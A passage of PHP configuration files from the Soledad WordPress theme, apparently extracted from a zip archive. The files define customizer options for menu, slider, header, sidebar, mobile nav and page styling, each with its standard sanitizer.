	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'label'    => esc_html__( 'Add Site Title', 'soledad' ),
	'id'       => 'penci_menu_hbg_sitetitle',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => '18',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Site Title', 'soledad' ),
	'id'       => 'penci_hbg_sitetitle_size',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_hbg_sitetitle_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '18',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'label'    => esc_html__( 'Add Site Description', 'soledad' ),
	'id'       => 'penci_menu_hbg_desc',
	'type'     => 'soledad-fw-textarea',
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Site Description', 'soledad' ),
	'id'       => 'penci_hbg_sitedes_size',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_hbg_sitedes_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Add Search Form Below Site Description', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_menu_hbg_show_search',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Select Custom Menu to Display on Primary Menu', 'soledad' ),
	'id'       => 'penci_menu_hbg_primary',
	'type'     => 'soledad-fw-ajax-select',
	'choices'  => call_user_func( function () {
		$menu_list = [ '' => '' ];
		$menus     = wp_get_nav_menus();
		if ( ! empty( $menus ) ) {
			foreach ( $menus as $menu ) {
				$menu_list[ $menu->slug ] = $menu->name;
			}
		}

		return $menu_list;
	} ),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Hide Primary Menu', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_menu_hbg_hide_menu',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable click on Parent Menu Item to open Child Menu Items', 'soledad' ),
	'description' => __( 'By default, you need to click to the arrow on the right side to open child menu items - this option will help you click on the parent menu items to open child menu items', 'soledad' ),
	'id'          => 'penci_menu_hbg_click_parent',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Disable Uppercase on Primary Menu Items', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_menu_hbg_lowcase',
);
$options[] = array(
	'default'  => '13',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Primary Menu Items', 'soledad' ),
	'id'       => 'penci_font_size_menu_hbg',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_font_size_menu_hbg',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '13',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Sub-menu Items', 'soledad' ),
	'id'       => 'penci_font_size_submenu_hbg',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_font_size_submenu_hbg',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Hide Footer Text', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_menu_hbg_hideftext',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Hide Social Icons', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_menu_hbg_hidesocial',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => esc_html__( 'Select Style for Social Icons', 'soledad' ),
	'id'          => 'penci_menuhbg_social_style',
	'description' => __( 'The options for custom colors, background color, border for social icons will does not apply for Brand Color styles', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		''                                                => esc_html__( 'Default', 'soledad' ),
		'style-6 penci-social-textcolored'                => esc_html__( 'Icons with Brand Color', 'soledad' ),
		'style-2'                                         => esc_html__( 'Round with Border', 'soledad' ),
		'style-2 hgb-social-style-3'                      => esc_html__( 'Square with Border', 'soledad' ),
		'style-4 penci-social-colored'                    => esc_html__( 'Round with Brand Color', 'soledad' ),
		'style-4 hgb-social-style-5 penci-social-colored' => esc_html__( 'Square with Brand Color', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Social Media Icons', 'soledad' ),
	'id'       => 'penci_menuhbg_icon_size',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_menuhbg_icon_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'label'    => esc_html__( 'Custom Footer Text', 'soledad' ),
	'id'       => 'penci_menu_hbg_footer_text',
	'type'     => 'soledad-fw-textarea',
);

return $options;
PK     0w\oy3    B  customizer/config/sections/penci_section_fslider_fsize_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => __( 'Font Size for Categories on Slider', 'soledad' ),
	'id'       => 'penci_fslider_cat_fsize',
	'ids'      => [
		'desktop' => 'penci_fslider_cat_fsize'
	],
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => __( 'Font Size for Post Meta', 'soledad' ),
	'id'       => 'penci_fslider_meta_fsize',
	'default'  => '13',
	'type'     => 'soledad-fw-size',
	'ids'      => [
		'desktop' => 'penci_fslider_meta_fsize'
	],
	'sanitize' => 'absint',
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '13',
		),
	),
);
$options[] = array(
	'label'    => __( 'Font Size for Post Titles', 'soledad' ),
	'id'       => 'penci_fslider_title_fsize',
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => [
		'desktop' => 'penci_fslider_title_fsize'
	],
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => __( 'Font Size for Post Titles on Small Posts', 'soledad' ),
	'id'       => 'penci_fslider_smalltitle_fsize',
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => [
		'desktop' => 'penci_fslider_smalltitle_fsize'
	],
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => __( 'Font Size for Post Titles on Tiny Posts', 'soledad' ),
	'description' => __( 'You can see Tiny Posts on Style 22, 23, 24', 'soledad' ),
	'id'          => 'penci_fslider_tinytitle_fsize',
	'default'     => '',
	'sanitize'    => 'absint',
	'type'        => 'soledad-fw-size',
	'ids'         => [
		'desktop' => 'penci_fslider_tinytitle_fsize',
	],
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => __( 'Font Size for Post Titles on Mobile', 'soledad' ),
	'id'       => 'penci_fslider_title_fsize_mobile',
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => [
		'desktop' => 'penci_fslider_title_fsize_mobile',
	],
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => __( 'Font Size for Post Titles on Small Posts on Mobile', 'soledad' ),
	'id'       => 'penci_fslider_small_fsize_mobile',
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => [
		'desktop' => 'penci_fslider_small_fsize_mobile',
	],
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => __( 'Font Size for Excerpt on Style 35, 36, 38, 39', 'soledad' ),
	'id'       => 'penci_fslider_excerpt_fsize',
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => [
		'desktop' => 'penci_fslider_excerpt_fsize',
	],
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => __( 'Font Size for Button on Style 29, 30, 35, 36, 38, 39', 'soledad' ),
	'id'       => 'penci_fslider_button_fsize',
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => [
		'desktop' => 'penci_fslider_button_fsize',
	],
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => esc_html__( 'Penci Slider Style 1 & 2', 'soledad' ),
	'description' => __( 'Penci Slider is a Custom Slider - it does not based on Posts. So, you can pick any image & text & URL on each slide.<br>Check a demo for Penci Slider <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-hipster/?slider=style-31">here</a>', 'soledad' ),
	'id'          => 'penci_pslider_fsize_heading',
	'type'        => 'soledad-fw-header',
	'sanitize'    => 'sanitize_text_field'
);
$options[] = array(
	'label'       => '',
	'description'=>'',
	'id'          => 'penci_pslider_title_fsize',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Titles on Penci Slider', 'soledad' ),
	'id'       => 'penci_pslider_title_fsize',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_pslider_title_fsize',
		'mobile'  => 'penci_pslider_title_fsize_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description'=>'',
	'id'          => 'penci_pslider_caption_fsize',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Caption on Penci Slider', 'soledad' ),
	'id'       => 'penci_pslider_caption_fsize',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_pslider_caption_fsize',
		'mobile'  => 'penci_pslider_caption_fsize_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description'=>'',
	'id'          => 'penci_pslider_button_fsize_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Button on Penci Slider', 'soledad' ),
	'id'       => 'penci_pslider_button_fsize',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_pslider_button_fsize',
		'mobile'  => 'penci_pslider_button_fsize_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     0w\6	  	  C  customizer/config/sections/pencidesign_logo_header_colors_trans.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Social Icons Color', 'soledad' ),
	'id'       => 'penci_header_tran_social_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Social Icons Color Hover', 'soledad' ),
	'id'       => 'penci_header_tran_social_color_hover',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search, Shopping Cart & Mobile Bars Icons Color', 'soledad' ),
	'id'       => 'penci_tran_main_bar_search_magnify',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Icon Close Search Color', 'soledad' ),
	'id'       => 'penci_tran_main_bar_close_color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Slogan Text', 'soledad' ),
	'id'       => 'penci_section_trslogan_text_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Slogan Text Color', 'soledad' ),
	'id'       => 'penci_header_tran_slogan_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Slogan Line Color', 'soledad' ),
	'id'       => 'penci_header_tran_slogan_line_color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Primary Menu', 'soledad' ),
	'id'       => 'penci_section_traprimary_menu_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Menu Text Color', 'soledad' ),
	'id'       => 'penci_tran_main_bar_nav_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Menu Text Hover & Active Color', 'soledad' ),
	'id'       => 'penci_tran_main_bar_color_active',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Padding Menu Items Background Color', 'soledad' ),
	'id'       => 'penci_tran_main_bar_padding_color',
);

return $options;
PK     0w\    C  customizer/config/sections/penci_section_sidebar_colors_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Background Color for Boxed Sidebar Styles', 'soledad' ),
	'id'       => 'penci_bxsb_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Borders Color for Boxed Sidebar Styles', 'soledad' ),
	'id'       => 'penci_bxsb_border',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Sidebar Widget Heading Background Color', 'soledad' ),
	'id'       => 'penci_sidebar_heading_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Sidebar Widget Heading Background Outer Color', 'soledad' ),
	'id'       => 'penci_sidebar_heading_outer_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Sidebar Widget Heading Border Color', 'soledad' ),
	'id'       => 'penci_sidebar_heading_border_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Sidebar Widget Heading Border Outer Color', 'soledad' ),
	'id'       => 'penci_sidebar_heading_border_inner_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Border Bottom on Widget Heading Style 5, 10, 11, 12', 'soledad' ),
	'id'       => 'penci_sidebar_heading_border_color5',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Small Border Bottom on Widget Heading Style 7 & Style 8', 'soledad' ),
	'id'       => 'penci_sidebar_heading_border_color7',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Border Top on Widget Heading Style 10', 'soledad' ),
	'id'       => 'sidebar_heading_bordertop_color10',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Background Shapes Widget Heading Styles 11, 12, 13', 'soledad' ),
	'id'       => 'penci_sidebar_heading_shapes_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Background Color for Icon on Style 15', 'soledad' ),
	'id'       => 'penci_sidebar_bgstyle15',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Icon Color on Style 15', 'soledad' ),
	'id'       => 'penci_sidebar_iconstyle15',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Lines on Styles 18, 19, 20', 'soledad' ),
	'id'       => 'penci_sidebar_cllines',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Sidebar Widget Heading Text Color', 'soledad' ),
	'id'       => 'penci_sidebar_heading_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Accent Color', 'soledad' ),
	'id'       => 'penci_sidebar_accent_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Accent Hover Color', 'soledad' ),
	'id'       => 'penci_sidebar_accent_hover_color',
);

return $options;
PK     0w\    J  customizer/config/sections/pencidesign_logo_header_verticalnav_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => 'default',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Vertical Mobile Nav Style', 'soledad' ),
	'id'       => 'penci_moble_vertical_menu_style',
	'type'     => 'soledad-fw-ajax-select',
	'choices'  => [
		'default' 	=> __('Default','soledad'),
		'fullwidth' => __('Full Width','soledad'),
	],
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Use Penci Block Content for Vertical Mobile Nav', 'soledad' ),
	'id'       => 'penci_moble_vertical_block',
	'type'     => 'soledad-fw-ajax-select',
	'choices'     => call_user_func( function () {
		$builder_layout  = [ '' => __( '- Select -', 'soledad' ) ];
		$builder_layouts = get_posts( [
			'post_type'      => 'penci-block',
			'posts_per_page' => - 1,
		] );

		foreach ( $builder_layouts as $builder_builder ) {
			$builder_layout[ $builder_builder->post_name ] = $builder_builder->post_title;
		}

		return $builder_layout;
	} ),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Delayed Load Vertical Mobile Content', 'soledad' ),
	'id'       => 'penci_mobile_nav_delayed',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Logo for Vertical Mobile Nav', 'soledad' ),
	'id'       => 'penci_mobile_nav_logo',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Custom Link for Logo Image on Vertical Mobile Nav', 'soledad' ),
	'id'       => 'penci_custom_url_logo_vertical',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Logo on Vertical Mobile Nav', 'soledad' ),
	'id'       => 'penci_header_logo_vertical',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove The Line Below Logo Image', 'soledad' ),
	'id'       => 'penci_vernav_remove_line',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Social Icons on Vertical Mobile Nav', 'soledad' ),
	'id'       => 'penci_header_social_vertical',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Use Brand Colors for Social Icons on Vertical Mobile Nav', 'soledad' ),
	'id'       => 'penci_header_social_vertical_brand',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Display Search Form on Vertical Mobile Nav', 'soledad' ),
	'id'       => 'penci_vernav_searchform',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn of Uppercase on Menu Items', 'soledad' ),
	'id'       => 'penci_vernav_off_uppercase',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable click on Parent Menu Item to open Child Menu Items', 'soledad' ),
	'description' => __( 'By default, you need to click to the arrow on the right side to open child menu items - this option will help you click on the parent menu items to open child menu items', 'soledad' ),
	'id'          => 'penci_vernav_click_parent',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Select Custom Menu for Vertical Mobile Nav', 'soledad' ),
	'id'       => 'penci_moble_vertical_menu',
	'type'     => 'soledad-fw-ajax-select',
	'choices'  => call_user_func( function () {
		$menu_list = [ '' => '' ];
		$menus     = wp_get_nav_menus();
		if ( ! empty( $menus ) ) {
			foreach ( $menus as $menu ) {
				$menu_list[ $menu->slug ] = $menu->name;
			}
		}

		return $menu_list;
	} ),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Social Icons', 'soledad' ),
	'id'       => 'penci_font_icons_mobile_nav',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_font_icons_mobile_nav',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '13',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Vertical Mobile Menu Items', 'soledad' ),
	'id'       => 'penci_font_size_mobile_nav',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_font_size_mobile_nav',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '13',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for text on Search Form', 'soledad' ),
	'id'       => 'penci_vernav_fsearchinput',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_vernav_fsearchinput',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Width for Vertical Mobile', 'soledad' ),
	'description'    => __( 'Supports a minimum width of 200px and a maximum width of 330px.', 'soledad' ),
	'id'       => 'penci_vernav_width',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_vernav_width',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 200,
			'max'  => 330,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
return $options;
PK     0w\()    A  customizer/config/sections/penci_section_spage_colors_section.phpnu [        <?php
$options        = [];
$options[]      = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Page Title Color', 'soledad' ),
	'id'       => 'penci_pagetitle_color',
);
$options[]      = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( '"Share" Text Color', 'soledad' ),
	'id'       => 'penci_psharetext_color',
);
$options[]      = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Share Icons Color', 'soledad' ),
	'id'       => 'penci_pageshareicon_color',
);
$options[]      = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Share Icons Hover Color', 'soledad' ),
	'id'       => 'penci_pageshareicon_hcolor',
);
$options[]      = array(
	'sanitize'    => 'esc_url_raw',
	'label'       => esc_html__( 'Page Header', 'soledad' ),
	'description'=>__('Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/page-header.png">this image</a> to know what is "Page Header"','soledad'),
	'id'          => 'penci_pheader_colors_heading',
	'type'        => 'soledad-fw-header',
);
$pheader_colors = array(
	'penci_pheader_bgcolor'      => esc_html__( 'Background Color', 'soledad' ),
	'penci_pheader_title_color'  => esc_html__( 'Title Color', 'soledad' ),
	'penci_pheader_line_color'   => esc_html__( 'Line Color', 'soledad' ),
	'penci_pheader_bread_color'  => esc_html__( 'Breadcrumbs Text Color', 'soledad' ),
	'penci_pheader_bread_hcolor' => esc_html__( 'Breadcrumbs Hover Text Color', 'soledad' ),
);
foreach ( $pheader_colors as $key => $label ) {
	$options[] = array(
		'sanitize' => 'sanitize_hex_color',
		'type'     => 'soledad-fw-color',
		'label'    => $label,
		'id'       => $key,
	);
}
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => esc_html__( '404 Page', 'soledad' ),
	'id'       => 'penci_pheader_404_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Line Above the Message Text', 'soledad' ),
	'id'       => 'penci_404_line_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Message Text Color', 'soledad' ),
	'id'       => 'penci_404_message_ctext',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Form Text Color', 'soledad' ),
	'id'       => 'penci_404_input_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Form Borders Color', 'soledad' ),
	'id'       => 'penci_404_formborder_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( '"Back To Homepage" Color', 'soledad' ),
	'id'       => 'penci_404_backhome_color',
);

return $options;
PK     0w\y(  (  E  customizer/config/sections/penci_section_homepage_general_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => 'standard',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Homepage Layout', 'soledad' ),
	'id'       => 'penci_home_layout',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'standard'         => __( 'Standard Posts', 'soledad' ),
		'classic'          => __( 'Classic Posts', 'soledad' ),
		'overlay'          => __( 'Overlay Posts', 'soledad' ),
		'featured'         => __( 'Featured Boxed Posts', 'soledad' ),
		'grid'             => __( 'Grid Posts', 'soledad' ),
		'grid-2'           => __( 'Grid 2 Columns Posts', 'soledad' ),
		'grid-boxed'       => __( 'Grid Boxed', 'soledad' ),
		'grid-boxed-2'     => __( 'Grid Boxed 2', 'soledad' ),
		'grid-boxed-3'     => __( 'Grid Boxed 3', 'soledad' ),
		'grid-boxed-4'     => __( 'Grid Boxed 4', 'soledad' ),
		'masonry'          => __( 'Grid Masonry Posts', 'soledad' ),
